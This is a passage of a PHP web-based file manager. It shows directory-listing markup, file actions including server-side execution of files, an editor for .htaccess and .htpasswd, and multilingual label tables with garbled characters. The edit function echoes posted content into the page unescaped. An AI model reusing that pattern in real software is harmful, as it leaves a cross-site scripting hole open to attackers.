1234 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1235 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1236
1237 echo '<tr class="listing">
1238 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1239 <td class="filename" title="' . html($timestamps) . '">';
1240
1241 if ($file['is_link']) {
1242
1243 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1244 echo html($file['filename']) . ' → ';
1245
1246 $real_file = relative2absolute($file['target'], $directory);
1247
1248 if (@is_readable($real_file)) {
1249 if (@is_dir($real_file)) {
1250 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1251 } else {
1252 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1253 }
1254 } else {
1255 echo html($file['target']);
1256 }
1257
1258 } elseif ($file['is_dir']) {
1259
1260 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1261 if ($win || $file['is_executable']) {
1262 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1263 } else {
1264 echo html($file['filename']);
1265 }
1266 echo ' ]';
1267
1268 } else {
1269
1270 if (substr($file['filename'], 0, 1) == '.') {
1271 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1272 } else {
1273 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1274 }
1275
1276 if ($file['is_file'] && $file['is_readable']) {
1277 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1278 } else {
1279 echo html($file['filename']);
1280 }
1281
1282 }
1283
1284 if ($file['size'] >= 1000) {
1285 $human = ' title="' . human_filesize($file['size']) . '"';
1286 } else {
1287 $human = '';
1288 }
1289
1290 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1291
1292 if (!$win) {
1293
1294 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1295
1296 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1297 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1298 echo html(permission_octal2string($file['permission']));
1299 if ($l) echo '</a>';
1300
1301 echo "</td>\n";
1302
1303 if (array_key_exists('owner_name', $file)) {
1304 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1305 } else {
1306 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1307 }
1308
1309 if (array_key_exists('group_name', $file)) {
1310 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1311 } else {
1312 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1313 }
1314
1315 }
1316
1317 echo ' <td class="functions">
1318 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1319';
1320
1321 $actions = array();
1322 if (function_exists('symlink')) {
1323 $actions[] = 'create_symlink';
1324 }
1325 if (@is_writable(dirname($file['path']))) {
1326 $actions[] = 'delete';
1327 $actions[] = 'rename';
1328 $actions[] = 'move';
1329 }
1330 if ($file['is_file'] && $file['is_readable']) {
1331 $actions[] = 'copy';
1332 $actions[] = 'download';
1333 if ($file['is_writable']) $actions[] = 'edit';
1334 }
1335 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1336 $actions[] = 'execute';
1337 }
1338
1339 if (sizeof($actions) > 0) {
1340
1341 echo ' <select class="small" name="action' . $i . '" size="1">
1342 <option value="">' . str_repeat(' ', 30) . '</option>
1343';
1344
1345 foreach ($actions as $action) {
1346 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1347 }
1348
1349 echo ' </select>
1350 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1351';
1352
1353 }
1354
1355 echo ' </td>
1356</tr>
1357';
1358
1359 }
1360
1361 echo '<tr class="listing_footer">
1362 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1363 <td colspan="' . ($cols - 1) . '">
1364 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1365 <input type="hidden" name="focus" value="" />
1366 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1367';
1368
1369 $actions = array();
1370 if (@is_writable(dirname($file['path']))) {
1371 $actions[] = 'delete';
1372 $actions[] = 'move';
1373 }
1374 $actions[] = 'copy';
1375
1376 echo ' <select class="small" name="action_all" size="1">
1377 <option value="">' . str_repeat(' ', 30) . '</option>
1378';
1379
1380 foreach ($actions as $action) {
1381 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1382 }
1383
1384 echo ' </select>
1385 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1386 </td>
1387</tr>
1388';
1389
1390}
1391
1392function directory_choice () {
1393 global $directory, $homedir, $cols, $self;
1394
1395 echo '<tr>
1396 <td colspan="' . $cols . '" id="directory">
1397 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1398 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1399 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1400 </td>
1401</tr>
1402';
1403
1404}
1405
1406function upload_box () {
1407 global $cols;
1408
1409 echo '<tr>
1410 <td colspan="' . $cols . '" id="upload">
1411 ' . word('file') . ':
1412 <input type="file" name="upload" onfocus="activate(\'other\')" />
1413 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1414 </td>
1415</tr>
1416';
1417
1418}
1419
1420function create_box () {
1421 global $cols;
1422
1423 echo '<tr>
1424 <td colspan="' . $cols . '" id="create">
1425 <select name="create_type" size="1" onfocus="activate(\'create\')">
1426 <option value="file">' . word('file') . '</option>
1427 <option value="directory">' . word('directory') . '</option>
1428 </select>
1429 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1430 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1431 </td>
1432</tr>
1433';
1434
1435}
1436
1437function edit ($file) {
1438 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1439
1440 html_header();
1441
1442 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1443
1444<form action="' . $self . '" method="post">
1445
1446<table class="dialog">
1447<tr>
1448<td class="dialog">
1449
1450 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1451
1452 if (array_key_exists('content', $_POST)) {
1453 echo $_POST['content'];
1454 } else {
1455 $f = fopen($file, 'r');
1456 while (!feof($f)) {
1457 echo html(fread($f, 8192));
1458 }
1459 fclose($f);
1460 }
1461
1462 if (!empty($_POST['user'])) {
1463 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1464 }
1465 if (!empty($_POST['basic_auth'])) {
1466 if ($win) {
1467 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1468 } else {
1469 $authfile = $directory . $htpasswd;
1470 }
1471 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1472 echo 'AuthUserFile "' . html($authfile) . ""\n";
1473 echo 'Require valid-user';
1474 }
1475
1476 echo '</textarea>
1477
1478 <hr />
1479';
1480
1481 if ($apache && basename($file) == $htpasswd) {
1482 echo '
1483 ' . word('user') . ': <input type="text" name="user" />
1484 ' . word('password') . ': <input type="password" name="password" />
1485 <input type="submit" value="' . word('add') . '" />
1486
1487 <hr />
1488';
1489
1490 }
1491
1492 if ($apache && basename($file) == $htaccess) {
1493 echo '
1494 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1495
1496 <hr />
1497';
1498
1499 }
1500
1501 echo '
1502 <input type="hidden" name="action" value="edit" />
1503 <input type="hidden" name="file" value="' . html($file) . '" />
1504 <input type="hidden" name="dir" value="' . html($directory) . '" />
1505 <input type="reset" value="' . word('reset') . '" id="red_button" />
1506 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1507
1508</td>
1509</tr>
1510</table>
1511
1512<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1513
1514</form>
1515
1516';
1517
1518 html_footer();
1519
1520}
1521
1522function spacer () {
1523 global $cols;
1524
1525 echo '<tr>
1526 <td colspan="' . $cols . '" style="height: 1em"></td>
1527</tr>
1528';
1529
1530}
1531
1532function textfieldsize ($content) {
1533
1534 $size = strlen($content) + 5;
1535 if ($size < 30) $size = 30;
1536
1537 return $size;
1538
1539}
1540
1541function request_dump () {
1542
1543 foreach ($_REQUEST as $key => $value) {
1544 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1545 }
1546
1547}
1548
1549/* ------------------------------------------------------------------------- */
1550
1551function html ($string) {
1552 global $site_charset;
1553 return htmlentities($string, ENT_COMPAT, $site_charset);
1554}
1555
1556function word ($word) {
1557 global $words, $word_charset;
1558 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1559}
1560
1561function phrase ($phrase, $arguments) {
1562 global $words;
1563 static $search;
1564
1565 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1566
1567 for ($i = 0; $i < sizeof($arguments); $i++) {
1568 $arguments[$i] = nl2br(html($arguments[$i]));
1569 }
1570
1571 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1572
1573 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1574
1575}
1576
1577function getwords ($lang) {
1578 global $word_charset, $date_format;
1579
1580 switch ($lang) {
1581 case 'de':
1582
1583 $date_format = 'd.m.y H:i:s';
1584 $word_charset = 'ISO-8859-1';
1585
1586 return array(
1587'directory' => 'Verzeichnis',
1588'file' => 'Datei',
1589'filename' => 'Dateiname',
1590
1591'size' => 'GrÙÙƒe',
1592'permission' => 'Rechte',
1593'owner' => 'Eigner',
1594'group' => 'Gruppe',
1595'other' => 'Andere',
1596'functions' => 'Funktionen',
1597
1598'read' => 'lesen',
1599'write' => 'schreiben',
1600'execute' => 'ausführen',
1601
1602'create_symlink' => 'Symlink erstellen',
1603'delete' => 'lÙschen',
1604'rename' => 'umbenennen',
1605'move' => 'verschieben',
1606'copy' => 'kopieren',
1607'edit' => 'editieren',
1608'download' => 'herunterladen',
1609'upload' => 'hochladen',
1610'create' => 'erstellen',
1611'change' => 'wechseln',
1612'save' => 'speichern',
1613'set' => 'setze',
1614'reset' => 'zurücksetzen',
1615'relative' => 'Pfad zum Ziel relativ',
1616
1617'yes' => 'Ja',
1618'no' => 'Nein',
1619'back' => 'zurück',
1620'destination' => 'Ziel',
1621'symlink' => 'Symbolischer Link',
1622'no_output' => 'keine Ausgabe',
1623
1624'user' => 'Benutzername',
1625'password' => 'Kennwort',
1626'add' => 'hinzufügen',
1627'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
1628
1629'uploaded' => '"[%1]" wurde hochgeladen.',
1630'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1631'already_exists' => '"[%1]" existiert bereits.',
1632'created' => '"[%1]" wurde erstellt.',
1633'not_created' => '"[%1]" konnte nicht erstellt werden.',
1634'really_delete' => 'Sollen folgende Dateien wirklich gelÙscht werden?',
1635'deleted' => "Folgende Dateien wurden gelÙscht:\n[%1]",
1636'not_deleted' => "Folgende Dateien konnten nicht gelÙscht werden:\n[%1]",
1637'rename_file' => 'Benenne Datei um:',
1638'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1639'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1640'move_files' => 'Verschieben folgende Dateien:',
1641'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1642'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1643'copy_files' => 'Kopiere folgende Dateien:',
1644'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1645'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1646'not_edited' => '"[%1]" kann nicht editiert werden.',
1647'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
1648'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
1649'saved' => '"[%1]" wurde gespeichert.',
1650'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1651'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1652'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1653'permission_for' => 'Rechte für "[%1]":',
1654'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
1655'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
1656'not_readable' => '"[%1]" kann nicht gelesen werden.'
1657 );
1658
1659 case 'fr':
1660
1661 $date_format = 'd.m.y H:i:s';
1662 $word_charset = 'ISO-8859-1';
1663
1664 return array(
1665'directory' => 'Répertoire',
1666'file' => 'Fichier',
1667'filename' => 'Nom fichier',
1668
1669'size' => 'Taille',
1670'permission' => 'Droits',
1671'owner' => 'Propriétaire',
1672'group' => 'Groupe',
1673'other' => 'Autres',
1674'functions' => 'Fonctions',
1675
1676'read' => 'Lire',
1677'write' => 'Ecrire',
1678'execute' => 'Exécuter',
1679
1680'create_symlink' => 'Créer lien symbolique',
1681'delete' => 'Effacer',
1682'rename' => 'Renommer',
1683'move' => 'Déplacer',
1684'copy' => 'Copier',
1685'edit' => 'Ouvrir',
1686'download' => 'Télécharger sur PC',
1687'upload' => 'Télécharger sur serveur',
1688'create' => 'Créer',
1689'change' => 'Changer',
1690'save' => 'Sauvegarder',
1691'set' => 'Exécuter',
1692'reset' => 'Réinitialiser',
1693'relative' => 'Relatif',
1694
1695'yes' => 'Oui',
1696'no' => 'Non',
1697'back' => 'Retour',
1698'destination' => 'Destination',
1699'symlink' => 'Lien symbollique',
1700'no_output' => 'Pas de sortie',
1701
1702'user' => 'Utilisateur',
1703'password' => 'Mot de passe',
1704'add' => 'Ajouter',
1705'add_basic_auth' => 'add basic-authentification',
1706
1707'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
1708'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
1709'already_exists' => '"[%1]" existe déjà .',
1710'created' => '"[%1]" a été créé.',
1711'not_created' => '"[%1]" n a pas pu être créé.',
1712'really_delete' => 'Effacer le fichier?',
1713'deleted' => "Ces fichiers ont été détuits:\n[%1]",
1714'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
1715'rename_file' => 'Renomme fichier:',
1716'renamed' => '"[%1]" a été renommé en "[%2]".',
1717'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
1718'move_files' => 'Déplacer ces fichiers:',
1719'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
1720'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
1721'copy_files' => 'Copier ces fichiers:',
1722'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
1723'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
1724'not_edited' => '"[%1]" ne peut être ouvert.',
1725'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
1726'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
1727'saved' => '"[%1]" a été sauvegardé.',
1728'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
1729'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
1730'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
1731'permission_for' => 'Droits de "[%1]":',
1732'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
1733'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
1734'not_readable' => '"[%1]" ne peut pas être ouvert.'
1735 );
1736
1737 case 'it':
1738
1739 $date_format = 'd-m-Y H:i:s';
1740 $word_charset = 'ISO-8859-1';
1741
1742 return array(
1743'directory' => 'Directory',
1744'file' => 'File',
1745'filename' => 'Nome File',
1746
1747'size' => 'Dimensioni',
1748'permission' => 'Permessi',
1749'owner' => 'Proprietario',
1750'group' => 'Gruppo',
1751'other' => 'Altro',
1752'functions' => 'Funzioni',
1753
1754'read' => 'leggi',
1755'write' => 'scrivi',
1756'execute' => 'esegui',
1757
1758'create_symlink' => 'crea link simbolico',
1759'delete' => 'cancella',
1760'rename' => 'rinomina',
1761'move' => 'sposta',
1762'copy' => 'copia',
1763'edit' => 'modifica',
1764'download' => 'download',
1765'upload' => 'upload',
1766'create' => 'crea',
1767'change' => 'cambia',
1768'save' => 'salva',
1769'set' => 'imposta',
1770'reset' => 'reimposta',
1771'relative' => 'Percorso relativo per la destinazione',
1772
1773'yes' => 'Si',
1774'no' => 'No',
1775'back' => 'indietro',
1776'destination' => 'Destinazione',
1777'symlink' => 'Link simbolico',
1778'no_output' => 'no output',
1779
1780'user' => 'User',
1781'password' => 'Password',
1782'add' => 'aggiungi',
1783'add_basic_auth' => 'aggiungi autenticazione base',
1784
1785'uploaded' => '"[%1]" è stato caricato.',
1786'not_uploaded' => '"[%1]" non è stato caricato.',
1787'already_exists' => '"[%1]" esiste già .',
1788'created' => '"[%1]" è stato creato.',
1789'not_created' => '"[%1]" non è stato creato.',
1790'really_delete' => 'Cancello questi file ?',
1791'deleted' => "Questi file sono stati cancellati:\n[%1]",
1792'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1793'rename_file' => 'File rinominato:',
1794'renamed' => '"[%1]" è stato rinominato in "[%2]".',
1795'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
1796'move_files' => 'Sposto questi file:',
1797'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1798'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1799'copy_files' => 'Copio questi file',
1800'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1801'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1802'not_edited' => '"[%1]" non puÙ essere modificato.',
1803'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
1804'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
1805'saved' => '"[%1]" è stato salvato.',
1806'not_saved' => '"[%1]" non è stato salvato.',
1807'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
1808'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
1809'permission_for' => 'Permessi di "[%1]":',
1810'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1811'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1812'not_readable' => '"[%1]" non puÙ essere letto.'
1813 );
1814
1815 case 'nl':
1816
1817 $date_format = 'n/j/y H:i:s';
1818 $word_charset = 'ISO-8859-1';
1819
1820 return array(
1821'directory' => 'Directory',
1822'file' => 'Bestand',
1823'filename' => 'Bestandsnaam',
1824
1825'size' => 'Grootte',
1826'permission' => 'Bevoegdheid',
1827'owner' => 'Eigenaar',
1828'group' => 'Groep',
1829'other' => 'Anderen',
1830'functions' => 'Functies',
1831
1832'read' => 'lezen',
1833'write' => 'schrijven',
1834'execute' => 'uitvoeren',
1835
1836'create_symlink' => 'maak symlink',
1837'delete' => 'verwijderen',
1838'rename' => 'hernoemen',
1839'move' => 'verplaatsen',
1840'copy' => 'kopieren',
1841'edit' => 'bewerken',
1842'download' => 'downloaden',
1843'upload' => 'uploaden',
1844'create' => 'aanmaken',
1845'change' => 'veranderen',
1846'save' => 'opslaan',
1847'set' => 'instellen',
1848'reset' => 'resetten',
1849'relative' => 'Relatief pat naar doel',
1850
1851'yes' => 'Ja',
1852'no' => 'Nee',
1853'back' => 'terug',
1854'destination' => 'Bestemming',
1855'symlink' => 'Symlink',
1856'no_output' => 'geen output',
1857
1858'user' => 'Gebruiker',
1859'password' => 'Wachtwoord',
1860'add' => 'toevoegen',
1861'add_basic_auth' => 'add basic-authentification',
1862
1863'uploaded' => '"[%1]" is verstuurd.',
1864'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1865'already_exists' => '"[%1]" bestaat al.',
1866'created' => '"[%1]" is aangemaakt.',
1867'not_created' => '"[%1]" kan niet worden aangemaakt.',
1868'really_delete' => 'Deze bestanden verwijderen?',
1869'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1870'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1871'rename_file' => 'Bestandsnaam veranderen:',
1872'renamed' => '"[%1]" heet nu "[%2]".',
1873'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1874'move_files' => 'Verplaats deze bestanden:',
1875'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1876'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1877'copy_files' => 'Kopieer deze bestanden:',
1878'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1879'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1880'not_edited' => '"[%1]" kan niet worden bewerkt.',
1881'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
1882'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
1883'saved' => '"[%1]" is opgeslagen.',
1884'not_saved' => '"[%1]" is niet opgeslagen.',
1885'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1886'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1887'permission_for' => 'Bevoegdheid voor "[%1]":',
1888'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1889'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1890'not_readable' => '"[%1]" kan niet worden gelezen.'
1891 );
1892
1893 case 'se':
1894
1895 $date_format = 'n/j/y H:i:s';
1896 $word_charset = 'ISO-8859-1';
1897
1898 return array(
1899'directory' => 'Mapp',
1900'file' => 'Fil',
1901'filename' => 'Filnamn',
1902
1903'size' => 'Storlek',
1904'permission' => 'SÙ†kerhetsnivÙ‡',
1905'owner' => 'ؤgare',
1906'group' => 'Grupp',
1907'other' => 'Andra',
1908'functions' => 'Funktioner',
1909
1910'read' => 'LÙ†s',
1911'write' => 'Skriv',
1912'execute' => 'UtfÙr',
1913
1914'create_symlink' => 'Skapa symlink',
1915'delete' => 'Radera',
1916'rename' => 'Byt namn',
1917'move' => 'Flytta',
1918'copy' => 'Kopiera',
1919'edit' => 'ؤndra',
1920'download' => 'Ladda ner',
1921'upload' => 'Ladda upp',
1922'create' => 'Skapa',
1923'change' => 'ؤndra',
1924'save' => 'Spara',
1925'set' => 'Markera',
1926'reset' => 'TÙm',
1927'relative' => 'Relative path to target',
1928
1929'yes' => 'Ja',
1930'no' => 'Nej',
1931'back' => 'Tillbaks',
1932'destination' => 'Destination',
1933'symlink' => 'Symlink',
1934'no_output' => 'no output',
1935
1936'user' => 'AnvÙ†ndare',
1937'password' => 'LÙsenord',
1938'add' => 'LÙ†gg till',
1939'add_basic_auth' => 'add basic-authentification',
1940
1941'uploaded' => '"[%1]" har laddats upp.',
1942'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1943'already_exists' => '"[%1]" finns redan.',
1944'created' => '"[%1]" har skapats.',
1945'not_created' => '"[%1]" kunde inte skapas.',
1946'really_delete' => 'Radera dessa filer?',
1947'deleted' => "De hÙ†r filerna har raderats:\n[%1]",
1948'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1949'rename_file' => 'Byt namn pÙ‡ fil:',
1950'renamed' => '"[%1]" har bytt namn till "[%2]".',
1951'not_renamed' => '"[%1] kunde inte dÙpas om till "[%2]".',
1952'move_files' => 'Flytta dessa filer:',
1953'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1954'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1955'copy_files' => 'Kopiera dessa filer:',
1956'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1957'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1958'not_edited' => '"[%1]" kan inte Ù†ndras.',
1959'executed' => "\"[%1]\" har utfÙrts:\n{%2}",
1960'not_executed' => "\"[%1]\" kunde inte utfÙras:\n{%2}",
1961'saved' => '"[%1]" har sparats.',
1962'not_saved' => '"[%1]" kunde inte sparas.',
1963'symlinked' => 'Symlink frÙ‡n "[%2]" till "[%1]" har skapats.',
1964'not_symlinked' => 'Symlink frÙ‡n "[%2]" till "[%1]" kunde inte skapas.',
1965'permission_for' => 'RÙ†ttigheter fÙr "[%1]":',
1966'permission_set' => 'RÙ†ttigheter fÙr "[%1]" Ù†ndrades till [%2].',
1967'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1968'not_readable' => '"[%1]" kan inte lÙ†sas.'
1969 );
1970
1971 case 'sp':
1972
1973 $date_format = 'j/n/y H:i:s';
1974 $word_charset = 'ISO-8859-1';
1975
1976 return array(
1977'directory' => 'Directorio',
1978'file' => 'Archivo',
1979'filename' => 'Nombre Archivo',
1980
1981'size' => 'TamaÙŒo',
1982'permission' => 'Permisos',
1983'owner' => 'Propietario',
1984'group' => 'Grupo',
1985'other' => 'Otros',
1986'functions' => 'Funciones',
1987
1988'read' => 'lectura',
1989'write' => 'escritura',
1990'execute' => 'ejecuciÙŽn',
1991
1992'create_symlink' => 'crear enlace',
1993'delete' => 'borrar',
1994'rename' => 'renombrar',
1995'move' => 'mover',
1996'copy' => 'copiar',
1997'edit' => 'editar',
1998'download' => 'bajar',
1999'upload' => 'subir',
2000'create' => 'crear',
2001'change' => 'cambiar',
2002'save' => 'salvar',
2003'set' => 'setear',
2004'reset' => 'resetear',
2005'relative' => 'Path relativo',
2006
2007'yes' => 'Si',
2008'no' => 'No',
2009'back' => 'atrÙ„s',
2010'destination' => 'Destino',
2011'symlink' => 'Enlace',
2012'no_output' => 'sin salida',
2013
2014'user' => 'Usuario',
2015'password' => 'Clave',
2016'add' => 'agregar',
2017'add_basic_auth' => 'agregar autentificaciÙŽn bÙ„sica',
2018
2019'uploaded' => '"[%1]" ha sido subido.',
2020'not_uploaded' => '"[%1]" no pudo ser subido.',
2021'already_exists' => '"[%1]" ya existe.',
2022'created' => '"[%1]" ha sido creado.',
2023'not_created' => '"[%1]" no pudo ser creado.',
2024'really_delete' => 'ØŸBorra estos archivos?',
2025'deleted' => "Estos archivos han sido borrados:\n[%1]",
2026'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
2027'rename_file' => 'Renombra archivo:',
2028'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
2029'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
2030'move_files' => 'Mover estos archivos:',
2031'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
2032'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
2033'copy_files' => 'Copiar estos archivos:',
2034'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
2035'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
2036'not_edited' => '"[%1]" no pudo ser editado.',
2037'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
2038'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
2039'saved' => '"[%1]" ha sido salvado.',
2040'not_saved' => '"[%1]" no pudo ser salvado.',
2041'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
2042'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
2043'permission_for' => 'Permisos de "[%1]":',
2044'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
2045'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
2046'not_readable' => '"[%1]" no pudo ser leÙŠdo.'
2047 );
2048
2049 case 'dk':
2050
2051 $date_format = 'n/j/y H:i:s';
2052 $word_charset = 'ISO-8859-1';
2053
2054 return array(
2055'directory' => 'Mappe',
2056'file' => 'Fil',
2057'filename' => 'Filnavn',
2058
2059'size' => 'StÙ‘rrelse',
2060'permission' => 'Rettighed',
2061'owner' => 'Ejer',
2062'group' => 'Gruppe',
2063'other' => 'Andre',
2064'functions' => 'Funktioner',
2065
2066'read' => 'lÙˆs',
2067'write' => 'skriv',
2068'execute' => 'kÙ‘r',
2069
2070'create_symlink' => 'opret symbolsk link',
2071'delete' => 'slet',
2072'rename' => 'omdÙ‘b',
2073'move' => 'flyt',
2074'copy' => 'kopier',
2075'edit' => 'rediger',
2076'download' => 'download',
2077'upload' => 'upload',
2078'create' => 'opret',
2079'change' => 'skift',
2080'save' => 'gem',
2081'set' => 'sÙˆt',
2082'reset' => 'nulstil',
2083'relative' => 'Relativ sti til valg',
2084
2085'yes' => 'Ja',
2086'no' => 'Nej',
2087'back' => 'tilbage',
2088'destination' => 'Distination',
2089'symlink' => 'Symbolsk link',
2090'no_output' => 'ingen resultat',
2091
2092'user' => 'Bruger',
2093'password' => 'Kodeord',
2094'add' => 'tilfÙ‘j',
2095'add_basic_auth' => 'tilfÙ‘j grundliggende rettigheder',
2096
2097'uploaded' => '"[%1]" er blevet uploaded.',
2098'not_uploaded' => '"[%1]" kunnu ikke uploades.',
2099'already_exists' => '"[%1]" findes allerede.',
